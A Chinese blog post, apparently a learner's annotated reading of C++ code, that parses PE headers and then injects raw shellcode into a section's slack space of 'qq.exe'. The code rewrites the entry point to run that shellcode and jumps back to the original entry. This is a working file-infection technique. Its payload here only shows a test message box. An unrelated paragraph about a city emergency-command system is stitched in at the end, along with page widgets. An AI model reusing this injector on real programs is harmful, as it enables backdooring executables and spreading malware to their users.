GreenHandX1h 4.5 代码阅读①

经过一番挣扎之后我决定开始重新把代码读一遍写一个完美一点的注释


BOOL  IsPeFile(LPVOID  ImageBase)//这里我们收取一个PE文件   
//判断是否是PE文件结构
//首先检验文件头部的第一个字是否是PRIMAGE_DOS_SIGNATURE
//然后定位PE头,如果PE头符合IMAGE_NT_SIGNATURE则可以判断是有效的PE文件
//经过检验没有任何问题
{
 PIMAGE_DOS_HEADER  pDosHeader = NULL;
 PIMAGE_NT_HEADERS  pNtHeader  = NULL;//置空两个属性分别为Dos头跟NT头的变量
 if(!ImageBase)//这里如果ImageBase传过来一个不存在的东西那么就直接传递False回去了直接判断不是PE文件了
  return FALSE;
 pDosHeader = (PIMAGE_DOS_HEADER) ImageBase;//我们将ImageBase的Dos_Header提取出来
 if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  return FALSE  ;//判定e_magic是否是"MZ"
 pNtHeader = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader+pDosHeader->e_lfanew);//这个是固定获得NT头的方式
 if(pNtHeader->Signature != IMAGE_NT_SIGNATURE )
  return  FALSE;
 return    TRUE;
}


PIMAGE_NT_HEADERS  GetNtHeader(LPVOID  ImageBase) //获取NT结构指针
//即返回pNtHeader这里就是个固定的程式
{
 PIMAGE_DOS_HEADER  pDosHeader = NULL;
 PIMAGE_NT_HEADERS  pNtHeader  = NULL;

 if(!IsPeFile(ImageBase))
  return  NULL;
 pDosHeader = (PIMAGE_DOS_HEADER)ImageBase;
 pNtHeader = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader+pDosHeader->e_lfanew);
 return    pNtHeader;
}

PIMAGE_FILE_HEADER  WINAPI  GetFileHeader(LPVOID  Imagebase)
{
//为什么有个winapi 这里我们用来调用系统函数所以我们用到了winapi
// 获取FileHeader

 PIMAGE_FILE_HEADER  pFileHeader;
 PIMAGE_NT_HEADERS  pNtHeader = NULL;
 pNtHeader = GetNtHeader(Imagebase);
 if(!pNtHeader)
  return  NULL;
 pFileHeader = & pNtHeader->FileHeader;
 return  pFileHeader;
}

PIMAGE_OPTIONAL_HEADER  GetOptionalHeader(LPVOID  ImageBase)
{
//获取PE可选头
 PIMAGE_OPTIONAL_HEADER  pOptionHeader = NULL;
 PIMAGE_NT_HEADERS  pNtHeader = NULL;
 pNtHeader = GetNtHeader(ImageBase);
 //无论获取什么头,方式都是一样的,先获取了dos头,再通过dos头找到NT头,找到NT头就可以得到可选头
 if(!pNtHeader)
  return  NULL;
 pOptionHeader = & pNtHeader->OptionalHeader;
 return  pOptionHeader;
}

//将RVA地址转换为磁盘文件中的偏移
BOOL RvaToOffset(LPVOID lpMoudle,DWORD Rva)
{
 DWORD FileOffset;
 WORD nSectionNum;
 IMAGE_NT_HEADERS  *pNTHead;
 pNTHead=GetNtHeader(lpMoudle);
 //老规矩我们还是先要求得NT头
 nSectionNum=pNTHead->FileHeader.NumberOfSections;
 //通过NT头找到PE文件头,然后通过文件头找到节的数目NumberOfSections
 //NumberOfSections:定义PE文件Section的个数。如果对PE文件新增或删除Section的话,一定要记的修改此域。


 //取节表结构头(紧接在IMAGE_NT_HEADERS后面就是IMAGE_SECTION_HEADER)
 IMAGE_SECTION_HEADER *pSectionHead;
 pSectionHead=(IMAGE_SECTION_HEADER *)((DWORD)pNTHead+sizeof(IMAGE_NT_HEADERS));//我们在这里进行运算的时候用到结构名称的时候他都唯一指代着他这个结构开始的那个绝对地址。是绝对地址而不是偏移量
 //循环比较Rva值所对应节表的偏移
 for(int i=0; i<nSectionNum; i++)
 {
  if((pSectionHead->VirtualAddress<=Rva) && (Rva<(pSectionHead->SizeOfRawData+pSectionHead->VirtualAddress)))
  {
   FileOffset=Rva-pSectionHead->VirtualAddress+pSectionHead->PointerToRawData;
   //获得rva相对应在文件当中的偏移
   //切记这里PointerToRawData是该节的节头在磁盘中的相对偏移量
   return FileOffset;
  }
  pSectionHead++;
 }
 return FALSE;
}

BOOL RvaToVirtualAddress(LPVOID lpMoudle,DWORD Rva)
{
 DWORD offect=RvaToOffset(lpMoudle,Rva);
 /*if(offect==NULL||offect==FALSE)
  return FALSE;*/
 return (DWORD)lpMoudle+offect;
 //这里我们通过偏移量加上基址地址就把VA求出来了
}

//下面这段程序就是把关键程序代码插进去了
VOID HandleSessionTable(LPVOID file,LPVOID base)
{
 char funcname[16]="MessageBoxA";
 char DLLname[16]="user32.dll";
 char Caption[16]="Warning";
 char Content[16]="This is test";
 DWORD LoadLibraryAAddr=0x1f864;
 DWORD GetProcAddress=0x24c46;
 //这里就是我们要插入的数据
 char codes[]="\x60\xe8\x0\x0\x0\x0\x5f\x83\xef\x6\x8b\x4f\xf8\x8b"   //这里的数据就只插入代码
  "\x5f\xfc\x64\x8b\x15\x30\x0\x0\x0\x8b\x52\xc\x8b\x52\x1c\x8b"   //的二进制机器码
  "\x12\x8b\x42\x8\x8b\x42\x50\x3\xc8\x50\x8b\xd7\x83\xea\x38\x52"
  "\xff\xd1\x8b\xc8\x58\x3\xd8\x8b\xd7\x83\xea\x48\x52\x51\xff\xd3"
  "\x8b\xcf\x83\xe9\x18\x6a\x0\x51\x83\xe9\x10\x51\x6a\x0\xff\xd0\x61"
  "\xe9\x00\x00\x00\x00";
//以上就是我们要插入的代码

 int datalength=16*4+8;
 int codeslength=sizeof(codes)-1;
 //不太明白这里为什么-1呢

 IMAGE_NT_HEADERS *nthead=GetNtHeader(base);
 IMAGE_SECTION_HEADER *sessionhead=(IMAGE_SECTION_HEADER*)((DWORD)nthead+sizeof(IMAGE_NT_HEADERS));

 if(sessionhead->VirtualAddress==NULL)
  return;

 DWORD sessionnum=nthead->FileHeader.NumberOfSections;
 //获取节的数量
 IMAGE_SECTION_HEADER *p=sessionhead;
//这个地方一个超级脱裤子放屁的操作,又定义了一个新的指针☞到了节表上
 DWORD sFileSize=GetFileSize(base,NULL);
 //不知道为啥突然调用了这个GetFileSize!!!
 for(int i=0;i<sessionnum;i++)
 {
  cout<<(char*)p->Name<<" " <<(int)p->SizeOfRawData-(int)p->Misc.VirtualSize<<endl;
  //先输出p这个节头的名字,然后输出这个节的碎片区域的大小
  IMAGE_SECTION_HEADER tmp=sessionhead;
  //再次脱裤子放屁
  memcpy(&tmp,p,sizeof(IMAGE_SECTION_HEADER));
  //到底为啥脱裤子放屁还不知道 ,我觉得往下会用到。可能。。应该是备份作用的
  if((int)p->SizeOfRawData-(int)p->Misc.VirtualSize>codeslength+datalength&&(p->Characteristics&IMAGE_SCN_MEM_EXECUTE))
  //这个条件的意思是说如果这个碎片区域可以放得下数据段跟代码段并且这个节是可写的话那么我们就可以进行以下的操作了
  {
   DWORD datavirtualbase=p->VirtualAddress+p->Misc.VirtualSize;
   //在内存中这段空隙开始的RVA,也就是给我们data安家的地方
   DWORD datafileoffect=p->PointerToRawData+p->Misc.VirtualSize;
   //这个狗叼的地方竟然名把offset又尼玛写错了让我看的一蒙一蒙的,这两个相加我们得到我们插入的data的rva
   SetFilePointer(file,datafileoffect,NULL,FILE_BEGIN);
   WriteFile(file,funcname,16,0,0);
   WriteFile(file,DLLname,16,0,0);
   WriteFile(file,Caption,16,0,0);
   WriteFile(file,Content,16,0,0);
   WriteFile(file,&LoadLibraryAAddr,4,0,0);
   WriteFile(file,&GetProcAddress,4,0,0);
   //看到了么在这个地方这两个东西被写入了磁盘文件当中,不知为什么,到底干啥用的还是个迷
   DWORD codevirtualbase=p->VirtualAddress+p->Misc.VirtualSize+datalength;
   //这个地方是给我们code安家的位置
   DWORD cedefileoffset=p->PointerToRawData+p->Misc.VirtualSize+datalength;
   //安家之后code开始处的rva
   p->Misc.VirtualSize+=(codeslength+datalength);
   //那么他的实际占用的空间就变成了原来的VirtualSize加上data还有code长度的和
   SetFilePointer(file,cedefileoffset,NULL,FILE_BEGIN);
   //定位到要插入code的位置即codefileoffset
   DWORD oldentry=nthead->OptionalHeader.AddressOfEntryPoint;
   //获取AOP的位置


   DWORD JMPOffset=oldentry-(codevirtualbase+codeslength-5)-5;
   memcpy(codes+codeslength-4,&JMPOffset,sizeof(DWORD));
   //上面两行看起来好像是在备份到底要干嘛不太清楚
   nthead->OptionalHeader.AddressOfEntryPoint=codevirtualbase;
   //将程序的新AOP移动到新插入的代码段的开始
   DWORD writesize=0;

   SetFilePointer(file,cedefileoffset,NULL,FILE_BEGIN);
   if(!WriteFile(file,codes,codeslength,&writesize,0) )
   //倒数第二个参数为什么这个s b不写成0
   {
    TCHAR  *buffer;
    ::FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,GetLastError(),0,( LPTSTR )&buffer,0,NULL );
    MessageBox(0,buffer,L"ok",0);
   }
   //这里就是说我们加入了这段弹框的程序
   cout<<"success"<<endl;
   break;

  }
  p++;
  //如果不能break就转到下一个节头位置
 }

}


void main()

//接下来就是主程序的
{


 HANDLE  hFile = CreateFile(L"qq.exe",           // open  pe file
  GENERIC_READ|GENERIC_WRITE,              // open for reading
  NULL,           // share for reading
  NULL,                      // no security
  OPEN_EXISTING,             // existing file only
  FILE_ATTRIBUTE_NORMAL,   // normal file
  NULL);                     // no attr. template

 HANDLE hFileMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,NULL);
 if(!hFileMap )
 {
  TCHAR  *buffer ;



  ::FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,GetLastError(),0,( LPTSTR )&buffer,0,NULL );
  MessageBox(0,buffer,L"ok",0);
 }
 LPVOID  lpMemory = MapViewOfFile(hFileMap,FILE_MAP_READ|FILE_MAP_WRITE ,NULL,NULL,NULL);


 if(IsPeFile(lpMemory))
 {
  //AnalyzeNTHEADER(lpMemory);
  cout<<"yes"<<endl;
  IMAGE_NT_HEADERS *nthead=GetNtHeader(lpMemory);
  IMAGE_OPTIONAL_HEADER32 *image=GetOptionalHeader(lpMemory);
  cout<<"DataDirectory num:"<<image->NumberOfRvaAndSizes<<endl;




  HandleSessionTable(hFile,lpMemory);




 }
 else
  cout<<"no"<<endl;

 UnmapViewOfFile(lpMemory);
 CloseHandle(hFileMap);
 CloseHandle(hFile);


 system("pause");
}
//最后面的main没有太弄明白不过问题不大。解决起来也很容易,大概就是调试一个PE程序然后对齐进行一番修改
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
城市应急指挥系统是智慧城市建设的重要组成部分,旨在提高城市对突发事件的预防和处置能力。系统背景源于自然灾害和事故灾难频发,如汶川地震和日本大地震等,这些事件造成了巨大的人员伤亡和财产损失。随着城市化进程的加快,应急信息化建设面临信息资源分散、管理标准不统一等问题,需要通过统筹管理和技术创新来解决。 系统的设计思路是通过先进的技术手段,如物联网、射频识别、卫星定位等,构建一个具有强大信息感知和通信能力的网络和平台。这将促进不同部门和层次之间的信息共享、交流和整合,提高城市资源的利用效率,满足城市对各种信息的获取和使用需求。在“十二五”期间,应急信息化工作将依托这些技术,实现动态监控、风险管理、预警以及统一指挥调度。 应急指挥系统的建设目标是实现快速有效的应对各种突发事件,保障人民生命财产安全,减少社会危害和经济损失。系统将包括预测预警、模拟演练、辅助决策、态势分析等功能,以及应急值守、预案管理、GIS应用等基本应用。此外,还包括支撑平台的建设,如接警中心、视频会议、统一通信等基础设施。 系统的实施将涉及到应急网络建设、应急指挥、视频监控、卫星通信等多个方面。通过高度集成的系统,建立统一的信息接收和处理平台,实现多渠道接入和融合指挥调度。此外,还包括应急指挥中心基础平台建设、固定和移动应急指挥通信系统建设,以及应急队伍建设,确保能够迅速响应并有效处置各类突发事件。 项目的意义在于,它不仅是提升灾害监测预报水平和预警能力的重要科技支撑,也是实现预防和减轻重大灾害和事故损失的关键。通过实施城市应急指挥系统,可以加强社会管理和公共服务,构建和谐社会,为打造平安城市提供坚实的基础。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值